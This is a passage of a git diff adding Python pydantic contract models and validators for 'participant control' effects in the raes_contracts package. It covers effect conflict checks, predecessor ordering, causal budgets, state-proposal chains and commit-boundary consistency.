parent_applied=parent_applied, + parent_admission_receipt=parent_admission_receipt, + parent_application_receipt=parent_application_receipt, + effect_outcomes=effect_outcomes, + parent_disposition=final, + runnable_effect_ids=runnable, + ) diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py b/implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py new file mode 100644 index 000000000..cc994cb12 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py @@ -0,0 +1,192 @@ +"""Pure order-independent effect compatibility and retained-claim accounting.""" + +from __future__ import annotations + +from collections import defaultdict +from collections.abc import Mapping, Sequence +from graphlib import CycleError, TopologicalSorter +from typing import TYPE_CHECKING + +from .._canonical import canonical_json_digest +from .participant_control_coordinates import ( + ControlLogicalEffectKeyModel, + ParticipantControlContextModel, + require_unique, +) +from .participant_control_effects import ControlEffectRequestModel, ControlEffectTarget +from .participant_control_selection import ControlCausalBoundsModel + +if TYPE_CHECKING: + from .participant_control_composition import ParticipantControlRequestModel + from .participant_control_results import ControlMechanismResultModel, ControlRealizationBindingModel + + +def _effect_subject(target: ControlEffectTarget) -> str: + if target.kind in {"transform", "mask", "route"}: + subject = target.source.subject_ref + elif target.kind == "request-review": + subject = target.parent.subject_ref + elif target.kind in {"interrupt", "shutdown"}: + subject = target.target_ref + elif target.kind in {"inject", "handoff"}: + subject = target.participant_address + else: + subject = target.subject.subject_ref + return subject + + +def _lifecycle_invalidates( + lifecycle: ControlEffectTarget, operation: ControlEffectTarget, context: ParticipantControlContextModel +) -> bool: + """Pausing/cancelling/terminating cannot precede a live-target operation. + + A workflow/execution's membership is not encoded by these request targets, + so lack of an enclosing-scope proof is conservative overlap, not independence. + Audit/review/denial records do not themselves require a live participant. + """ + if lifecycle.kind not in {"interrupt", "shutdown"}: + return False + if operation.kind in {"inject", "handoff"}: + participant, episode = operation.participant_address, operation.episode_id + elif operation.kind in {"transform", "mask", "route"}: + participant, episode = operation.result.participant_address, operation.result.episode_id + elif operation.kind in {"permit", "delay"}: + participant, episode = operation.subject.participant_address, operation.subject.episode_id + else: + return False + scopes = {"participant": participant, "episode": episode, "run": context.run.ref} + return lifecycle.target_kind not in scopes or scopes[lifecycle.target_kind] == lifecycle.target_ref + + +def _same_subject_conflicts(a: ControlEffectTarget, b: ControlEffectTarget) -> bool: + if a.kind == b.kind == "delay": + return a.clock != b.clock or max(a.earliest_order, b.earliest_order) > min(a.latest_order, b.latest_order) + if a.kind == b.kind == "handoff": + return a.resulting_controller_ref != b.resulting_controller_ref + transformations = {"transform", "mask", "route"} + return (a.kind in transformations and b.kind in transformations and a != b) or {a.kind, b.kind} == { + "interrupt", + "shutdown", + } + + +def _effect_pair_conflicts( + left: ControlEffectRequestModel, + right: ControlEffectRequestModel, + ancestors: Mapping[str, set[str]], + context: ParticipantControlContextModel, +) -> bool: + a, b = left.target, right.target + left_first = left.effect_id in ancestors[right.effect_id] + right_first = right.effect_id in ancestors[left.effect_id] + if (left_first and _lifecycle_invalidates(a, b, context)) or ( + right_first and _lifecycle_invalidates(b, a, context) + ): + return True + same_subject = _effect_subject(a) == _effect_subject(b) + if same_subject and a.kind == b.kind == "delay": + return _same_subject_conflicts(a, b) + return (same_subject and _same_subject_conflicts(a, b)) or not (left_first or right_first) + + +def _effect_ancestors(by_id: Mapping[str, set[ControlEffectRequestModel]]) -> dict[str, set[str]]: + # Every variant contributes its edges. No arrival-selected representative. + graph = { + identity: {dep for effect in variants for dep in effect.predecessor_effect_ids} + for identity, variants in by_id.items() + } + if any(predecessors - graph.keys() for predecessors in graph.values()): + raise ValueError("effect predecessor is unresolved") + try: + ordered = tuple(TopologicalSorter(graph).static_order()) + except CycleError: + raise ValueError("effect predecessor cycle") from None + ancestors = {} + for identity in ordered: + ancestors[identity] = set(graph[identity]) + for predecessor in graph[identity]: + ancestors[identity].update(ancestors[predecessor]) + return ancestors + + +def _retained_claims( + effects: set[ControlEffectRequestModel], context: ParticipantControlContextModel, blockers: set[str] +) -> set[ControlLogicalEffectKeyModel]: + prior_keys = {claim.key: claim for claim in context.prior_effect_claims} + prior_ids = {claim.effect_id: claim for claim in context.prior_effect_claims} + for effect in effects: + prior = prior_keys.get(effect.key) + if prior is not None and ( + prior.effect_id != effect.effect_id + or prior.content_digest != canonical_json_digest(effect.model_dump(mode="json")) + ): + blockers.add("effect-conflict") + prior_identity = prior_ids.get(effect.effect_id) + if prior_identity is not None and prior_identity.key != effect.key: + blockers.add("effect-conflict") + return {effect.key for effect in effects} - prior_keys.keys() + + +def _validate_new_effect_window( + target: ControlEffectTarget, context: ParticipantControlContextModel, bounds: ControlCausalBoundsModel +) -> None: + if target.kind not in {"delay", "request-review"}: + return + if target.clock != context.clock or not context.order <= target.expiry_order <= bounds.expires_at_order: + raise ValueError("effect clock or expiry is not admitted") + if target.kind == "delay" and target.latest_order < context.order: + raise ValueError("delay window is exhausted") + + +def _validate_effect_bounds( + effects: set[ControlEffectRequestModel], + new_keys: set[ControlLogicalEffectKeyModel], + context: ParticipantControlContextModel, + bounds: ControlCausalBoundsModel, +) -> None: + epochs = {(item.rule_id, item.rule_revision): set(item.firing_epochs) for item in context.rule_firings} + for effect in effects: + epochs.setdefault((effect.key.rule_id, effect.key.rule_revision), set()).add(effect.key.firing_epoch) + # Replaying an already claimed intent does not re-admit or re-dispatch it. + if effect.key in new_keys: + _validate_new_effect_window(effect.target, context, bounds) + if any(len(values) > bounds.max_firings_per_rule for values in epochs.values()): + raise ValueError("effect requests exceed per-rule firing budget") + if new_keys and context.depth >= bounds.max_depth: + raise ValueError("effect requests exceed causal depth") + if len(new_keys) > bounds.max_fanout or len(new_keys) + context.effects_consumed > bounds.max_effects: + raise ValueError("effect requests exceed causal budget") + + +def control_effect_blockers( + request: ParticipantControlRequestModel, + results: Sequence[ControlMechanismResultModel], + realizations: Sequence[ControlRealizationBindingModel], +) -> set[str]: + """Order-independent effect blockers for a composed or proposed evaluation.""" + effects = {r.payload for r in results if isinstance(r.payload, ControlEffectRequestModel)} + context = request.context + blockers = set() + by_id, by_key = defaultdict(set), defaultdict(set) + for effect in effects: + by_id[effect.effect_id].add(effect) + by_key[effect.key].add(effect) + if (effect.key.run_ref, effect.key.trigger_root) != (context.run.ref, context.trigger_root): + raise ValueError("effect causal root differs from its request") + if effect.phase == "required-predecessor": + blockers.add("predecessor:" + effect.effect_id) + if any(len(variants) > 1 for variants in (*by_id.values(), *by_key.values())): + blockers.add("effect-conflict") + ancestors = _effect_ancestors(by_id) + new_keys = _retained_claims(effects, context, blockers) + _validate_effect_bounds(effects, new_keys, context, request.selection.bounds) + # Pairwise checks are symmetric; this ordering does not grant precedence. + variants = tuple(effects) + for index, left in enumerate(variants): + for right in variants[index + 1 :]: + if _effect_pair_conflicts(left, right, ancestors, context): + blockers.add("effect-conflict") + require_unique(tuple(r.effect_id for r in realizations)) + if any(r.effect_id not in by_id for r in realizations): + raise ValueError("realization references an absent requested effect") + return blockers diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_effects.py b/implementations/python/packages/raes_contracts/contracts/participant_control_effects.py new file mode 100644 index 000000000..c1ad6532d --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_effects.py @@ -0,0 +1,210 @@ +"""MPC-09 typed requests binding existing effect owners; no executor.""" + +from __future__ import annotations + +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, model_validator + +from .base import ContractModel +from .participant_control_coordinates import ( + ControlArtifactReferenceModel, + ControlCount, + ControlLogicalEffectKeyModel, + ControlRef, + ControlRefs, + ControlSubjectReferenceModel, + Evidence, + require_kind, + require_unique, +) + + +class ControlCrossingEffectModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["permit", "deny", "withhold"] + crossing_decision: ControlArtifactReferenceModel + subject: ControlSubjectReferenceModel + + @model_validator(mode="after") + def _owner(self) -> Self: + require_kind(self.crossing_decision, "crossing") + return self + + +class ControlTransformationEffectModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["transform", "mask", "route"] + transformation: ControlArtifactReferenceModel + source: ControlSubjectReferenceModel + result: ControlSubjectReferenceModel + destination_ref: ControlRef + admission_policy: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _fresh_subject(self) -> Self: + require_kind(self.transformation, "transformation") + require_kind(self.admission_policy, "policy") + if self.source.subject_ref == self.result.subject_ref: + raise ValueError("participant control transformation requires fresh subject identity") + return self + + +class ControlInjectEffectModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["inject"] + delivery_ref: ControlArtifactReferenceModel + inject_ref: ControlRef + event_ref: ControlRef + script_ref: ControlRef + story_ref: ControlRef + source_item_ref: ControlRef + result_item_ref: ControlRef + participant_address: ControlRef + episode_id: ControlRef + disclosure_ref: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _inject(self) -> Self: + require_kind(self.delivery_ref, "inject-delivery") + require_kind(self.disclosure_ref, "disclosure") + if self.source_item_ref == self.result_item_ref: + raise ValueError("participant control inject requires fresh result identity") + return self + + +class ControlDelayEffectModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["delay"] + subject: ControlSubjectReferenceModel + clock: ControlArtifactReferenceModel + earliest_order: ControlCount + latest_order: ControlCount + expiry_order: ControlCount + resumption_policy: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _window(self) -> Self: + require_kind(self.clock, "clock") + require_kind(self.resumption_policy, "policy") + if not self.earliest_order <= self.latest_order <= self.expiry_order: + raise ValueError("participant control delay window is inverted or expired") + return self + + +class ControlHandoffEffectModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["handoff"] + transition: ControlArtifactReferenceModel + participant_address: ControlRef + episode_id: ControlRef + prior_controller_ref: ControlRef + resulting_controller_ref: ControlRef + expected_state_revision: ControlCount + completion_obligation: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _owner(self) -> Self: + require_kind(self.transition, "control") + require_kind(self.completion_obligation, "evidence") + if self.prior_controller_ref == self.resulting_controller_ref: + raise ValueError("handoff requires a changed controller") + return self + + +class ControlReviewEffectModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["request-review"] + parent: ControlSubjectReferenceModel + obligation_ref: ControlRef + supervisor_authority: ControlArtifactReferenceModel + approval_ref: ControlArtifactReferenceModel + denial_ref: ControlArtifactReferenceModel + clock: ControlArtifactReferenceModel + expiry_order: ControlCount + resumption_policy: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _owner(self) -> Self: + for name, kind in ( + ("supervisor_authority", "authority"), + ("approval_ref", "control"), + ("denial_ref", "control"), + ("clock", "clock"), + ("resumption_policy", "policy"), + ): + require_kind(getattr(self, name), kind) + if self.approval_ref == self.denial_ref: + raise ValueError("review approval and denial must be distinct") + return self + + +class ControlLifecycleEffectModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["interrupt", "shutdown"] + target_kind: Literal["participant", "episode", "execution", "workflow", "run"] + target_ref: ControlRef + operation: Literal["pause", "cancel", "interrupt", "terminate"] + lifecycle_authority: ControlArtifactReferenceModel + expected_revision: ControlRef + + @model_validator(mode="after") + def _operation(self) -> Self: + require_kind(self.lifecycle_authority, "authority") + if (self.kind == "shutdown") != (self.operation == "terminate"): + raise ValueError("participant control lifecycle kind and operation disagree") + return self + + +class ControlAuditEffectModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["audit"] + subject: ControlSubjectReferenceModel + audit_record: ControlArtifactReferenceModel + audience_ref: ControlRef + retention_policy: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _owner(self) -> Self: + require_kind(self.audit_record, "audit") + require_kind(self.retention_policy, "policy") + return self + + +ControlEffectTarget = Annotated[ + ControlCrossingEffectModel + | ControlTransformationEffectModel + | ControlInjectEffectModel + | ControlDelayEffectModel + | ControlHandoffEffectModel + | ControlReviewEffectModel + | ControlLifecycleEffectModel + | ControlAuditEffectModel, + Field(discriminator="kind"), +] + + +class ControlEffectRequestModel(ContractModel): + """One logical requested effect, independent of retry/cut/transport identity.""" + + model_config = ConfigDict(frozen=True) + kind: Literal["effect-request"] + effect_id: ControlRef + key: ControlLogicalEffectKeyModel + rule: ControlArtifactReferenceModel + authority: ControlArtifactReferenceModel + phase: Literal["required-predecessor", "subsequent"] + predecessor_effect_ids: ControlRefs + target: ControlEffectTarget + evidence: Evidence + + @model_validator(mode="after") + def _identity(self) -> Self: + require_kind(self.rule, "rule") + require_kind(self.authority, "authority") + if (self.key.rule_id, self.key.rule_revision) != (self.rule.ref, self.rule.revision): + raise ValueError("participant control effect key and rule disagree") + require_unique(self.predecessor_effect_ids) + if self.effect_id in self.predecessor_effect_ids: + raise ValueError("participant control effect cannot precede itself") + return self diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_evaluation_v2.py b/implementations/python/packages/raes_contracts/contracts/participant_control_evaluation_v2.py new file mode 100644 index 000000000..2b2cca081 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_evaluation_v2.py @@ -0,0 +1,347 @@ +"""Scoped state and expected-head evaluation commit boundaries for API-424/v2.""" + +from __future__ import annotations + +from collections import defaultdict +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, model_validator + +from ..json_ingress import parse_bounded_json_object +from .base import ContractModel, PrefixedDigestString +from .participant_control_applicability import ( + ControlStateScopeV2Model, + ParticipantControlRequestV2Model, + control_digest, +) +from .participant_control_composition_v2 import ( + ControlCompositionV2Model, + admitted_control_effect_ids_v2, + derive_control_composition_v2, +) +from .participant_control_coordinates import ( + ControlArtifactReferenceModel, + ControlCount, + ControlRef, + ControlRefs, + Evidence, + ParticipantControlContextModel, + require_kind, + require_unique, +) +from .participant_control_decisions_v2 import ControlEffectPlanV2Model, ControlEffectRequestV2Model +from .participant_control_effect_composition import ( + _effect_ancestors, + _lifecycle_invalidates, + _retained_claims, + _validate_effect_bounds, +) +from .participant_control_invocation import ( + ControlInvocationV2Model, + ControlLostAdviceV2Model, + ControlMechanismResultV2Model, + validate_control_invocations_v2, +) +from .participant_control_selection import ControlCausalBoundsModel +from .participant_control_support_v2 import ControlSupportAssessmentV2Model + +DigestsV2 = Annotated[tuple[PrefixedDigestString, ...], Field(max_length=256)] + + +class ControlStateProposalV2Model(ContractModel): + model_config = ConfigDict(frozen=True) + invocation_id: ControlRef + scope: ControlStateScopeV2Model + before: ControlArtifactReferenceModel + after: ControlArtifactReferenceModel + commit_on: Literal["evaluation", "parent-release"] + predecessor_invocation_id: ControlRef | None + + @model_validator(mode="after") + def _states(self) -> Self: + require_kind(self.before, "provider-state") + require_kind(self.after, "provider-state") + if self.before == self.after or self.invocation_id == self.predecessor_invocation_id: + raise ValueError("state proposal does not advance a distinct invocation") + return self + + +def validate_state_proposals_v2(proposals: tuple[ControlStateProposalV2Model, ...] | list[dict]) -> None: + """Reject unordered same-scope writers and forks; no store mutation.""" + + records = tuple(ControlStateProposalV2Model.model_validate(item) for item in proposals) + require_unique(tuple(item.invocation_id for item in records)) + by_scope: dict[ControlStateScopeV2Model, list[ControlStateProposalV2Model]] = defaultdict(list) + for item in records: + by_scope[item.scope].append(item) + for writers in by_scope.values(): + _validate_scope_writers(writers) + + +def _validate_scope_writers(writers: list[ControlStateProposalV2Model]) -> None: + if len(writers) <= 1: + if writers and writers[0].predecessor_invocation_id is not None: + raise ValueError("state conflict: tentative predecessor is absent") + return + roots = [item for item in writers if item.predecessor_invocation_id is None] + if len(roots) != 1: + raise ValueError("state conflict: same-scope writers need one serial root") + by_parent = {item.predecessor_invocation_id: item for item in writers if item.predecessor_invocation_id is not None} + if len(by_parent) != len(writers) - 1: + raise ValueError("state conflict: tentative state writer fork") + _validate_scope_chain(roots[0], by_parent, len(writers)) + + +def _validate_scope_chain( + root: ControlStateProposalV2Model, by_parent: dict[str | None, ControlStateProposalV2Model], count: int +) -> None: + current, seen = root, {root.invocation_id} + while current.invocation_id in by_parent: + successor = by_parent[current.invocation_id] + if successor.invocation_id in seen or successor.before != current.after: + raise ValueError("state conflict: tentative state chain differs") + seen.add(successor.invocation_id) + current = successor + if len(seen) != count: + raise ValueError("state conflict: same-scope writers are unordered") + + +def validate_effect_budget_v2( + context: ParticipantControlContextModel, + bounds: ControlCausalBoundsModel, + plan: ControlEffectPlanV2Model, +) -> None: + """Reuse retained claim and causal bounds authority for v2 effect intents.""" + + effects = set(plan.effects) + by_id = {effect.effect_id: effect for effect in effects} + prior_claims = {claim.effect_id: claim for claim in context.prior_effect_claims} + for effect_id in plan.realized_effect_ids: + effect = by_id[effect_id] + claim = prior_claims.get(effect_id) + if claim is None or (claim.key, claim.content_digest) != (effect.key, control_digest(effect)): + raise ValueError("realized effect lacks its exact retained committed intent claim") + for effect in effects: + if (effect.key.run_ref, effect.key.trigger_root) != (context.run.ref, context.trigger_root): + raise ValueError("effect causal root differs from its exact request") + _validate_lifecycle_order(effects, context) + blockers: set[str] = set() + new_keys = _retained_claims(effects, context, blockers) + if blockers: + raise ValueError("retained effect claim conflicts with the amended request") + _validate_effect_bounds(effects, new_keys, context, bounds) + + +def _validate_lifecycle_order( + effects: set[ControlEffectRequestV2Model], context: ParticipantControlContextModel +) -> None: + ancestors = _effect_ancestors({effect.effect_id: {effect} for effect in effects}) + ordered = tuple(effects) + for index, left in enumerate(ordered): + for right in ordered[index + 1 :]: + if ( + _lifecycle_invalidates(left.target, right.target, context) + and right.effect_id not in ancestors[left.effect_id] + ) or ( + _lifecycle_invalidates(right.target, left.target, context) + and left.effect_id not in ancestors[right.effect_id] + ): + raise ValueError("effect lifecycle order invalidates a live target") + + +class ControlCommitBoundaryV2Model(ContractModel): + """One transaction envelope, not proof that an external effect occurred.""" + + model_config = ConfigDict(frozen=True) + expected_history_heads: Evidence + coverage_digest: PrefixedDigestString + result_digests: DigestsV2 + decision_digest: PrefixedDigestString + state_proposal_digests: DigestsV2 + effect_intent_digests: DigestsV2 + effects_consumed: ControlCount + status: Literal["prepared", "committed", "rejected"] + receipt: ControlArtifactReferenceModel | None + dispatchable_effect_ids: ControlRefs + + @model_validator(mode="after") + def _boundary(self) -> Self: + for head in self.expected_history_heads: + require_kind(head, "history") + for values in (self.result_digests, self.state_proposal_digests, self.effect_intent_digests): + require_unique(values) + require_unique(self.dispatchable_effect_ids) + if self.status != "committed" and self.dispatchable_effect_ids: + raise ValueError("failed or prepared commit cannot authorize dispatch") + if (self.status == "committed") != (self.receipt is not None): + raise ValueError("committed transaction requires its exact receipt") + if self.receipt is not None: + require_kind(self.receipt, "receipt") + return self + + +class ParticipantControlEvaluationV2Model(ContractModel): + """Complete v2 contract record; eligibility is not dispatch authority.""" + + model_config = ConfigDict(frozen=True) + schema_version: Literal["participant-control-evaluation/v2"] + evaluation_id: ControlRef + request: ParticipantControlRequestV2Model + invocations: Annotated[tuple[ControlInvocationV2Model, ...], Field(max_length=256)] + results: Annotated[tuple[ControlMechanismResultV2Model, ...], Field(max_length=256)] + support: Annotated[tuple[ControlSupportAssessmentV2Model, ...], Field(max_length=256)] + lost_advice: Annotated[tuple[ControlLostAdviceV2Model, ...], Field(max_length=256)] + effect_plan: ControlEffectPlanV2Model + state_proposals: Annotated[tuple[ControlStateProposalV2Model, ...], Field(max_length=256)] + composition: ControlCompositionV2Model + commit: ControlCommitBoundaryV2Model + + @model_validator(mode="after") + def _complete(self) -> Self: + validate_control_invocations_v2(self.request, self.invocations, self.results) + validate_state_proposals_v2(self.state_proposals) + validate_effect_budget_v2(self.request.context, self.request.selection.bounds, self.effect_plan) + _validate_parent_decisions(self) + _validate_requested_effects(self) + _validate_state_bindings(self) + _validate_parent_release(self) + _validate_commit_snapshot(self) + return self + + +def _validate_parent_decisions(record: ParticipantControlEvaluationV2Model) -> None: + if record.effect_plan.parent_crossing != record.request.context.crossing: + raise ValueError("parent decision uses a different crossing") + decisions = { + item.result_id: item.payload for item in record.results if _is_required_parent_decision(item, record.request) + } + if {item.decision_id for item in record.effect_plan.decisions} != decisions.keys(): + raise ValueError("parent decisions do not preserve the typed result set") + for item in record.effect_plan.decisions: + payload = decisions[item.decision_id] + if item.disposition != payload.disposition or item.rule != payload.rule: + raise ValueError("parent decision differs from its provider result") + + +def _is_required_parent_decision( + result: ControlMechanismResultV2Model, request: ParticipantControlRequestV2Model +) -> bool: + return ( + result.status == "resolved" + and result.payload is not None + and result.payload.kind == "decision" + and result.payload.disposition != "abstain" + and result.slot_id in request.applicability.required_slot_ids + ) + + +def _validate_requested_effects(record: ParticipantControlEvaluationV2Model) -> None: + requested_effects = [ + item.payload + for item in record.results + if item.status == "resolved" and item.payload is not None and item.payload.kind == "effect-request" + ] + if len({item.effect_id for item in requested_effects}) != len(requested_effects): + raise ValueError("duplicate provider effect identity") + requested = {item.effect_id: item for item in requested_effects} + if {item.effect_id: item for item in record.effect_plan.effects} != requested: + raise ValueError("effect plan does not preserve the requested effects") + + +def _validate_state_bindings(record: ParticipantControlEvaluationV2Model) -> None: + proposed = {item.invocation_id: item for item in record.state_proposals} + calls = {item.invocation_id: item for item in record.invocations} + if proposed.keys() - calls.keys(): + raise ValueError("state proposal has no invocation") + _validate_tentative_inputs(record.invocations, proposed) + _validate_state_proposal_results(record, calls) + + +def _validate_tentative_inputs( + calls: tuple[ControlInvocationV2Model, ...], proposed: dict[str, ControlStateProposalV2Model] +) -> None: + for call in calls: + if call.state_input.source != "tentative": + continue + predecessor = proposed.get(call.state_input.predecessor_invocation_id) + if ( + predecessor is None + or predecessor.scope != call.state_input.scope + or predecessor.after != call.state_input.state + ): + raise ValueError("consumed tentative state has no matching transaction proposal") + + +def _validate_state_proposal_results( + record: ParticipantControlEvaluationV2Model, calls: dict[str, ControlInvocationV2Model] +) -> None: + result_by_slot = {item.slot_id: item for item in record.results} + for item in record.state_proposals: + call = calls[item.invocation_id] + if ( + call.state_input.scope != item.scope + or call.state_input.state != item.before + or not any(result_by_slot[slot_id].next_provider_state == item.after for slot_id in call.requested_slot_ids) + ): + raise ValueError("state proposal differs from its exact invocation and result") + + +def _validate_parent_release(record: ParticipantControlEvaluationV2Model) -> None: + plan, commit = record.effect_plan, record.commit + if ( + commit.status == "committed" + and plan.parent_disposition != "permit" + and any(item.commit_on == "parent-release" for item in record.state_proposals) + ): + raise ValueError("parent-release state cannot commit for a refused parent") + if record.composition != derive_control_composition_v2( + record.request, record.results, record.support, record.lost_advice, plan + ): + raise ValueError("composition differs from the canonical result") + if record.composition.disposition == "eligible" and plan.parent_disposition == "permit": + return + _validate_refused_parent_release(record) + + +def _validate_refused_parent_release(record: ParticipantControlEvaluationV2Model) -> None: + plan, commit = record.effect_plan, record.commit + if plan.parent_applied or plan.parent_admission_receipt is not None or plan.parent_application_receipt is not None: + raise ValueError("mandatory composition cannot authorize parent release receipts") + if commit.status == "committed" and any(item.commit_on == "parent-release" for item in record.state_proposals): + raise ValueError("mandatory composition cannot commit parent release state") + + +def _validate_commit_snapshot(record: ParticipantControlEvaluationV2Model) -> None: + eligible_effects = admitted_control_effect_ids_v2(record.composition, record.effect_plan) + expected_commit = ( + record.request.context.expected_history_heads, + control_digest(record.request.applicability), + tuple(control_digest(item) for item in record.results), + control_digest(record.effect_plan), + tuple(control_digest(item) for item in record.state_proposals), + tuple(control_digest(item) for item in record.effect_plan.effects if item.effect_id in eligible_effects), + record.request.context.effects_consumed, + ) + observed_commit = ( + record.commit.expected_history_heads, + record.commit.coverage_digest, + record.commit.result_digests, + record.commit.decision_digest, + record.commit.state_proposal_digests, + record.commit.effect_intent_digests, + record.commit.effects_consumed, + ) + if observed_commit != expected_commit: + raise ValueError("atomic commit boundary differs from its complete evaluation") + if set(record.commit.dispatchable_effect_ids) - eligible_effects: + raise ValueError("mandatory composition cannot dispatch an effect outside the admitted outcome") + + +def parse_participant_control_evaluation_v2(source: str | bytes) -> ParticipantControlEvaluationV2Model: + """Bound v2 ingress and hide rejected provider values from parse errors.""" + + try: + payload = parse_bounded_json_object(source, max_bytes=1_048_576, max_depth=32) + return ParticipantControlEvaluationV2Model.model_validate(payload) + except (TypeError, ValueError): + raise ValueError("invalid participant control evaluation") from None diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_invocation.py b/implementations/python/packages/raes_contracts/contracts/participant_control_invocation.py new file mode 100644 index 000000000..1caf1cc44 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_invocation.py @@ -0,0 +1,305 @@ +"""Typed provider/v2 invocation inputs and result binding for API-424.""" + +from __future__ import annotations + +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, model_validator + +from .base import ContractModel, PrefixedDigestString +from .participant_control_applicability import ( + ControlMechanismBindingV2Model, + ControlResultSlotV2Model, + ControlStateScopeV2Model, + ParticipantControlRequestV2Model, + control_digest, +) +from .participant_control_coordinates import ( + Artifacts, + ControlArtifactReferenceModel, + ControlRef, + Evidence, + ResultKind, + require_kind, + require_unique, +) +from .participant_control_decisions_v2 import ControlEffectRequestV2Model +from .participant_control_results import ( + ControlAdvisoryModel, + ControlDecisionModel, + ControlIFCFact, + ControlMechanismResultModel, +) + +ControlResultPayloadV2 = Annotated[ + ControlIFCFact | ControlDecisionModel | ControlAdvisoryModel | ControlEffectRequestV2Model, + Field(discriminator="kind"), +] + + +class ControlPredecessorInputV2Model(ContractModel): + """Content-bound reference to one detached, typed predecessor result.""" + + model_config = ConfigDict(frozen=True) + slot_id: ControlRef + kind: ResultKind + result_id: ControlRef + result_digest: PrefixedDigestString + + +class ControlStateInputV2Model(ContractModel): + model_config = ConfigDict(frozen=True) + scope: ControlStateScopeV2Model + state: ControlArtifactReferenceModel + source: Literal["committed", "tentative"] + predecessor_invocation_id: ControlRef | None + + @model_validator(mode="after") + def _source(self) -> Self: + require_kind(self.state, "provider-state") + if (self.source == "tentative") != (self.predecessor_invocation_id is not None): + raise ValueError("tentative state requires its exact predecessor invocation") + return self + + +class ControlInvocationV2Model(ContractModel): + """One slot/stage call with immutable, disclosure-authorized inputs.""" + + model_config = ConfigDict(frozen=True) + invocation_id: ControlRef + instance_id: ControlRef + requested_slot_ids: Annotated[tuple[ControlRef, ...], Field(min_length=1, max_length=256)] + binding_digest: PrefixedDigestString + context_digest: PrefixedDigestString + predecessor_inputs: Annotated[tuple[ControlPredecessorInputV2Model, ...], Field(max_length=256)] + state_input: ControlStateInputV2Model + projection: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _identities(self) -> Self: + require_unique(self.requested_slot_ids) + require_unique(tuple(item.slot_id for item in self.predecessor_inputs)) + require_kind(self.projection, "projection") + return self + + +class ControlMechanismResultV2Model(ControlMechanismResultModel): + """A typed output bound to the complete invocation input identity.""" + + invocation_digest: PrefixedDigestString + payload: ControlResultPayloadV2 | None + rule_outcome: Literal["not-triggered"] | None = None + evaluated_basis: Artifacts = () + + @model_validator(mode="after") + def _resolved_payload(self) -> Self: + if self.rule_outcome == "not-triggered": + if self.status != "resolved" or self.payload is not None or not self.evaluated_basis: + raise ValueError("not-triggered rule must be resolved with an evaluated basis and no effect") + elif (self.status == "resolved") != (self.payload is not None): + raise ValueError("only a resolved mechanism result carries a typed payload") + if self.evaluated_basis and self.rule_outcome != "not-triggered": + raise ValueError("evaluated false-trigger basis needs the not-triggered outcome") + if self.next_provider_state is not None: + require_kind(self.next_provider_state, "provider-state") + if self.status != "resolved": + raise ValueError("unresolved results cannot propose provider state") + return self + + +class ControlLostAdviceV2Model(ContractModel): + """Safe, bounded evidence for a discarded optional contribution.""" + + model_config = ConfigDict(frozen=True) + slot_id: ControlRef + reason: Literal["malformed", "missing", "unknown", "stale", "failed", "weakened", "unsupported", "conflict"] + evidence: Evidence + + +def normalize_optional_result_failure_v2( + request: ParticipantControlRequestV2Model, + invocation: ControlInvocationV2Model, + raw_result: object, + *, + result_id: str, + evidence: ControlArtifactReferenceModel | dict, +) -> tuple[ControlMechanismResultV2Model, ControlLostAdviceV2Model]: + """Discard one rejected optional output without exposing provider text. + + The caller must already have isolated the invocation. This function never + catches an evaluation-wide failure or converts a required input to advice. + """ + + if len(invocation.requested_slot_ids) != 1: + raise ValueError("optional failure normalization requires one slot") + slot_id = invocation.requested_slot_ids[0] + if slot_id not in request.applicability.applicable_slot_ids: + raise ValueError("optional failure slot is not applicable") + if slot_id in request.applicability.required_slot_ids: + raise ValueError("mandatory participant control result cannot be normalized as optional") + try: + ControlMechanismResultV2Model.model_validate(raw_result) + except (TypeError, ValueError): + pass + else: + raise ValueError("optional result is already structurally valid") + evidence = ControlArtifactReferenceModel.model_validate(evidence) + require_kind(evidence, "evidence") + result = ControlMechanismResultV2Model( + result_id=result_id, + slot_id=slot_id, + instance_id=invocation.instance_id, + binding_digest=invocation.binding_digest, + context_digest=invocation.context_digest, + invocation_digest=control_digest(invocation), + status="failed", + payload=None, + evidence=(evidence,), + next_provider_state=None, + ) + loss = ControlLostAdviceV2Model(slot_id=slot_id, reason="malformed", evidence=(evidence,)) + return result, loss + + +def _satisfied(result: ControlMechanismResultV2Model) -> bool: + if result.status != "resolved": + return False + payload = result.payload + return result.rule_outcome == "not-triggered" or ( + payload is not None and (payload.kind != "decision" or payload.disposition == "permit") + ) + + +def validate_control_invocations_v2( + request: ParticipantControlRequestV2Model, + invocations: tuple[ControlInvocationV2Model, ...] | list[ControlInvocationV2Model | dict], + results: tuple[ControlMechanismResultV2Model, ...] | list[ControlMechanismResultV2Model | dict], +) -> None: + """Check the exact slot DAG and predecessor/state input bindings. + + This local check cannot attest that a provider actually consumed its input; + installation and trusted disclosure resolution remain separate gates. + """ + + calls = tuple(ControlInvocationV2Model.model_validate(item) for item in invocations) + outputs = tuple(ControlMechanismResultV2Model.model_validate(item) for item in results) + require_unique(tuple(call.invocation_id for call in calls)) + 